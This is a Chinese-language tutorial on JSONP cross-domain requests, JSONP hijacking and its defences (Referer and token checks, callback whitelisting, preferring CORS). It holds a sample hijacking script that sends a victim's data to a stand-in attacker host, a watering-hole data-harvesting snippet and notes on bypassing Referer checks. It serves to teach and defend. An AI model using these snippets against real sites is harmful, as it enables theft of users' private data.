JSONP跨域原理及劫持
字数 1776 2025-08-11 21:26:18
JSONP跨域原理及安全防护详解
一、JSONP基本概念
JSONP (JSON with Padding) 是一种实现跨域数据请求的技术方案,它通过动态创建<script>标签来绕过浏览器的同源策略限制。
1.1 JSONP工作原理
JSONP的核心原理是利用<script>标签的src属性不受同源策略限制的特性:
var script = document.createElement("script");
script.src = "https://api.example.com/data?callback=handleResponse";
document.body.insertBefore(script, document.body.firstChild);
1.2 与普通JSON请求的区别
- 普通JSON请求:受同源策略限制,需要服务器设置
Access-Control-Allow-Origin头部 - JSONP请求:通过动态脚本加载实现跨域,不需要CORS支持
二、JSONP实现方式
2.1 基础实现
HTML文件 (1.html):
<!DOCTYPE html>
<html>
<head>
<title>JSONP示例</title>
</head>
<body>
<script type="text/javascript">
function jsonhandle(data){
alert("age:" + data.age + " name:" + data.name);
}
</script>
<script type="text/javascript" src="http://localhost/godown.php?id=1&callback=jsonhandle"></script>
</body>
</html>
服务器端 (godown.php):
<?php
$data = array(
'age' => 20,
'name' => 'dada',
);
$callback = $_GET['callback'];
echo $callback."(".json_encode($data).")";
return;
?>
2.2 使用jQuery实现
jQuery简化了JSONP的实现过程:
<script type="text/javascript">
$(document).ready(function(){
$.ajax({
type: "get",
url: "http://localhost/godown.php?id=1",
dataType: "jsonp",
jsonp: "callback", // 指定回调函数参数名
jsonpCallback: "jsonhandle", // 指定回调函数名称
success: function(data) {
console.info("调用成功");
}
});
});
</script>
三、JSONP安全风险
3.1 JSONP劫持原理
JSONP劫持是一种类似于CSRF的攻击方式,攻击者通过构造恶意页面窃取用户在目标网站的数据。
攻击流程:
- 用户在网站B登录并保存了身份信息
- 用户访问攻击者控制的网站A
- 网站A的页面包含向网站B请求数据的JSONP调用
- 由于用户已登录网站B,请求成功返回用户数据
- 数据被网站A的JavaScript回调函数捕获
示例攻击代码:
<script type="text/javascript">
function Callback(result) {
// 将获取的数据发送到攻击者服务器
var img = new Image();
img.src = "http://attacker.com/steal?data=" + JSON.stringify(result);
}
</script>
<script type="text/javascript" src="http://B.com/user?jsonp=Callback"></script>
3.2 JSONP水坑攻击
攻击者发现JSONP接口后制作钓鱼网站,其中包含自动请求JSONP接口的脚本:
$.ajax({
url: 'jsonp漏洞接口',
type: 'get',
dataType: 'jsonp',
}).done(function(json){
var id = json["data"]["id"];
var screen_name = json["data"]["screen_name"];
// 将数据发送到攻击者服务器
var post_data = "id=" + id + "&screen_name=" + screen_name;
console.log(post_data);
}).fail(function() {});
3.3 JSONP劫持漏洞挖掘方法
- 登录目标网站
- 在浏览器开发者工具中开启"保留日志"选项
- 搜索以下关键字:
callbackjsonjsonpemailtoken
- 找到可疑请求后,直接在URL中访问看是否返回敏感信息
- 检查是否可以在不同域下请求到这些数据
四、JSONP安全防护措施
4.1 服务器端防护
-
验证Referer头:
$referer = $_SERVER['HTTP_REFERER']; $allowed_domains = array('example.com', 'trusted.com'); $valid = false; foreach ($allowed_domains as $domain) { if (strpos($referer, $domain) !== false) { $valid = true; break; } } if (!$valid) { die('非法请求'); } -
使用Token验证:
session_start(); if ($_GET['token'] != $_SESSION['token']) { die('非法请求'); } -
限制回调函数名:
$callback = $_GET['callback']; if (!preg_match('/^[a-zA-Z0-9_]+$/', $callback)) { die('非法回调函数名'); }
4.2 客户端防护
- 避免在JSONP接口中返回敏感信息
- 设置HttpOnly和Secure标志的Cookie
- 实现CSRF Token机制
4.3 Referer绕过的防护
攻击者可能通过以下方式绕过Referer检查:
- 使用data URL:构造无Referer的请求
- HTTPS发送HTTP请求:HTTPS页面发起HTTP请求默认不发送Referer
防护措施:
- 同时验证Referer和Origin头
- 强制使用HTTPS
五、JSONP与CORS的比较
| 特性 | JSONP | CORS |
|---|---|---|
| 兼容性 | 支持所有浏览器 | 需要现代浏览器支持 |
| 请求类型 | 仅支持GET请求 | 支持所有HTTP方法 |
| 安全性 | 较低,存在劫持风险 | 较高,服务器可精细控制 |
| 错误处理 | 有限 | 完善的错误处理机制 |
| 数据格式 | 必须包装在回调函数中 | 原生支持JSON格式 |
六、最佳实践建议
- 新项目优先使用CORS:JSONP应作为兼容旧浏览器的备选方案
- 敏感接口禁用JSONP:用户数据、支付等敏感接口不应提供JSONP支持
- 实施严格的输入验证:验证回调函数名、参数等输入
- 记录和监控异常请求:对可疑的JSONP请求进行记录和报警
- 定期安全审计:检查JSONP接口是否存在安全风险
七、总结
JSONP作为一种传统的跨域解决方案,虽然实现简单兼容性好,但存在严重的安全隐患,特别是JSONP劫持风险。在现代Web开发中,应优先考虑使用CORS等更安全的跨域方案。对于必须使用JSONP的场景,务必实施严格的安全防护措施,防止敏感数据泄露。